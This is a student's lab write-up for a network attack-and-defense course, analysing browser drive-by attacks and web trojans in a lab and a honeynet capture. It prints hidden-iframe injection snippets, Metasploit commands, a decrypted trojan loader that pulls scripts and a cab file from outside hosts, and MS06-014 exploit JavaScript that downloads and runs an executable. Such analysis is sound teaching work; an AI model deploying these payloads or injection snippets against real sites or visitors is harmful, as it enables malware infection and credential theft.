20199312 2019-2020-2 《网络攻防实践》第12周作业

《网络攻防实践》第12周作业

总体结构

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756
我在这个课程的目标是 学习网络攻防知识,增强动手实践能力。
这个作业在哪个具体方面帮助我实现目标 学习Linux网络防御知识。
作业正文 见下
参考文献 [1].网络攻防实践-诸葛建伟

1.实践内容

1.1 Web浏览器的技术发展和安全威胁

浏览器技术的发展特点主要包括安全性、速度性、扩展性以及隐私性。

Trident 代表作品是IE,俗称IE内核;使用IE内核的浏览器包括、傲游、世界之窗、百度浏览器、兼容模式的浏览器等
WebKit内核 代表作品是Safari、旧版的Chrome
Presto内核 代表作品是Opera,Presto是由Opera Software开发的浏览器排版引擎,它是世界公认最快的渲染速度的引擎。在13年之后,Opera宣布加入谷歌阵营,弃用了 Presto
Blink内核 代表作品是Chrome、Opera;由Google和Opera Software开发的浏览器排版引擎
Gecko内核 代表作品是Firefox,俗称Firefox内核
Chromium内核 这个比较特殊,Chromium是谷歌的开源项目是一款浏览器,Chrome 是Chromium的稳定版。国内的大部分双核浏览器都采用Chromium内核
Web浏览安全威胁位置
(1)针对传输网络的网络安全协议安全威胁
(2)针对Web端系统平台的安全威胁
(3)针对Web浏览器软件及插件程序的渗透攻击威胁
(4)针对互联网用户的社会工程学攻击威胁
网页木马的下载
(1)将木马伪装为页面元素。木马则会被浏览器自动下载到本地
(2)利用脚本运行的漏洞下载木马
(3)利用脚本运行的漏洞释放隐含在网页脚本中的木马
(4)将木马伪装为缺失的组件,或和缺失的组件捆绑在一起(例如:flash播放插件)。这样既达到了下载的目的,下载的组件又会被浏览器自动执行
(5)通过脚本运行调用某些com组件,利用其漏洞下载木马
(6)在渲染页面内容的过程中利用格式溢出释放木马(例如:ani格式溢出漏洞)
(7)在渲染页面内容的过程中利用格式溢出下载木马(例如:flash9.0.115的播放漏洞)
网页木马的执行
(1)利用页面元素渲染过程中的格式溢出执行shellcode进一步执行下载的木马
(2)利用脚本运行的漏洞执行木马
(3)伪装成缺失组件的安装包被浏览器自动执行
(4)通过脚本调用com组件利用其漏洞执行木马
(5)利用页面元素渲染过程中的格式溢出直接执行木马
(6)利用com组件与外部其他程序通讯,通过其他程序启动木马(例如:realplayer10.5存在的播放列表溢出漏洞)
挂马的方式
(1)为了保持网页木马的隐蔽性,网马会选择各种方法隐藏自己,如利用各种标签隐藏自己、代码中使用加密、混淆的技术,目的是降低被发现的可能性
(2)HTML隐藏标签
(3)JavaScript代码中引入
(4)其他网页技术
(5)其他挂马技术
HTML隐藏标签
(1)利用HTML的标签或者一些脚本引入
<iframe src=http://address width=0 height=0></iframe> // 高宽为0,不会显示

(2)此类在页面的源码中还是很容易发现
JavaScript代码中引入

<SCRIPT src=“http://xx.js” type=text/javascript>
相对更难发现,因为网页往往有很多js引入
document.write("<iframe width='0' height='0' src='地 址'></iframe>")
<SCRIPT language="JScript.Encode" 
src=http://www.xxx.com/mm.jpg></script>
<SCRIPT language=javascript>window.open("网页木马地址","","toolbar=no, 
location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1"); </script>

JavaScript代码中引入
(3)利用URL欺骗,示例代码如下:

<a href="http://www.163.com" onMouseOver="www_163_com(); return true;"> x</a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网页木马地址";
open(url,"NewWindow","toolbar=no,location=no,
directories=no,status=no,menubar=no, 
scrollbars=no,resizable=no,copyhistory=yes,width
=800,height=600,left=10,top=10");
}
</SCRIPT>

2.实践过程

任务一:使用攻击机进行浏览器渗透攻击实践。

//设置攻击程序
use exploit/windows/browser/ie_createobject
//攻击机及靶机地址地址
set rhost 192.168.200.8
set lhost 192.168.3.124
exploit

复制地址http://192.168.200.8:8080/0CePe8WNjhS8Vz

靶机访问访问网址

攻击成功

任务二:网站挂马分析实践

说明:
这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
问题:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2.网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
3.从解密后的结果来看,攻击者利用了那些系统漏洞?
4.解密后发现了多少个可执行文件?其作用是什么?
5.这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
根据实验指导书获取了钓鱼网站的大致结构

MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3 
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3 

查看hashed文件中对应的文件.
23180a42a2ff1192150231b44ffdf3d3

7f60672dcd6b5e90b6772545ee219bd3
加密方式:Base64编码, xxtea加密(密钥:script),
加解密网站 密钥为script

<script>
eval("function init(){doc?x75ment.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
</script>

MS06-014网马:攻击MS06-014安全漏洞,MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞
暴风影音网马:攻击CVE-2007-4816安全漏洞,暴风影音2 mps.dll组件多个缓冲区溢出漏洞
PPStream网马:攻击CVE-2007-4748安全漏洞,PPStream 堆栈溢出
IDA Pro打开这个pps.exe,查看其字符串。
首先这个软件会下载一堆木马文件*.exe。

生成自动运行的文件(":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")

百度搜霸网马攻击:CVE-2007-4105安全漏洞百度搜霸ActiveX控件远程代码执行漏洞
盗号木马4.Exe释放的特殊文件
$WINDOWS\Fonts\enweafx.fon
伪装为Windows字体文件,内容却是一个加密的可疑URL地址
Url1=EC1A060602485D5D0505055C02064B47420B005C111C5D1907084A0A185D021D01065C130102
使用了一种简单加密方法
特殊文件解密结果
密文=EC 1A 06 06 02 48 5D 5D 05 05 05 5C 02 06 4B 47 42 0B 00 5C 11 1C 5D 19 07 08 4A 0A 18 5D 02 1D 01 06 5C 13 01 02

明文= 68 74 74 70 3A 2F 2F 77 77 77 2E 70 74 39 35 30 79 72 2E 63 6E 2F 6B 75 7A 38 78 6A 2F 70 6F 73 74 2E 61 73 70

明文 http://www.pt950yr.cn/kuz8xj/post.asp

解密方法:XOR 0x72

任务三: Web浏览器渗透攻击对抗实验

打开实验中的ms06-014漏洞的js代码。使用下面的工具进行美化
js混淆解密在线工具
之后得到的js代码如下所示

< html > < head > < title > < /title>
<script language="javascript">function KnAmGt(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r)			  {try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function hRZsZenIWZGSquVYwDztwzXS(a){var s=KnAmGt(a,"WScript.Shell");var o=KnAmGt(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\KvJyzvxl.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function EeqjlsFOA(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=KnAmGt(a,"WScript.Shell");if(b){hRZsZenIWZGSquVYwDztwzXS(a);return(0)}}catch(e){}}i++}}</script></head><body onload='
EeqjlsFOA()
'>GNNkmzjVHPe</body></html>

任务四:Web浏览器遭遇攻击、取证分析

任务:通过分析给的网络记录文件,回答下列问题:
(1)列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
(2)列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
(3)列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
(4)请给出攻击者执行攻击动作的概要描述。
(5)攻击者引入了哪些技巧带来了困难。
(6)攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
(7)shellcode执行了哪些操作?比较他们之间MD5的差异?
(8)在攻击场景中有二进制可执行代码参与吗?目的是什么?
1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
应用层协议主要有
(1)域名系统(DNS)(2)文件传输协议(FTP):用于实现交互式文件传输功能。(3)超文本传输协议(HTTP)(4)简单网络管理协议(SNMP)
攻击的是HTTP协议

2.列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
通过统计功能,并在wireshark显示IP地址对应名称.

apt-get install chaosreader //安装工具
chaosreader -r suspicious-time.pcap //读取pcap文件,生成一系列的html文件
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u //获取源IP和目的IP,以及域名地址

IP地址 域名
192.168.56.50 rapidshare.com.eyu32.ru
192.168.56.51 shop.honeynet.sg
192.168.56.52 sploitme.com.cn

受害机IP地址:10.20.2.15,10.20.3.15,10.20.4.15,10.20.5.1
攻击机为192.168.56.52
3.列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
file:///home/kali/Desktop/web/index.html看一下哪个文件大就可疑
session_0006.part_01.html页面如下,后面也有很多和这个页面大致相同的。获取用户用户名和口令的钓鱼页面:

session_0006.part_01.html后面也有很多和这个页面大致相同的
页面如下:


文件很大却只是NOT FOUND显然十分可以,查看源码

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php?s=3feb5a6b2f was not found on this server.</p>

<script language='JavaScript'>
<!--
var CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122130170144210184211201104140130146180175229195190106168156188190222191174168172129166183128168223196152151163160115168188171223176122132193157158179228189189118165157155187151203194176156153191153191181201159152151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155189192158201140173203143179205192190172157139168137136206189190219110143132137119190164209214143137190122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166183128190164176151142104185178161184222161203125128135168122175222205187102171172155170204201175152130137154149119200184180211152142168175170152195217178137170139156121171162195153156165172150179156216194152110121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215189173130191124190191201158214126161182137157168187221176158111191157192158236203174110105158177137212213174160163144170149173190201218207154122130187145211187163176158170160156159183225182213127158180176153219212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151187213204211207174144170136188200223192225152125139184170151200191193141158130147155149219183186126166183118145209214178189174152187133119200224192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));
//-->
</script>
<noscript></noscript>
</body></html>

4.请给出攻击者执行攻击动作的概要描述。
用户访问邮件链接rapidshare.com.eyu32.ru/login.php,用户在不知情的情况下进行注册和登录,个人隐私信息会被传送到sploitme.com.cn/?click=XXXX,再重定向到sploitme.com.cn/fg/show.php?s=XXXX,该链接包含恶意javascript代码,同时返回用户一个伪装的404 not found页面,通过检索程序搜索用户主机漏洞,在用户主机上的恶意软件将访问www.honeynet.org。
5.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
追踪TCP 流,猜测这是一个针对Windows XP系统。

3.学习中遇到的问题及解决

  • 问题1:挂马实验文件复杂
  • 问题1解决方案:查看实验指导书,实现实验

4.实践总结

实践很难,好多都不懂,最后一章也是最难的一章。

posted @ 2020-05-21 11:08  刚刚吃饭来着呢  阅读(391)  评论(0编辑  收藏  举报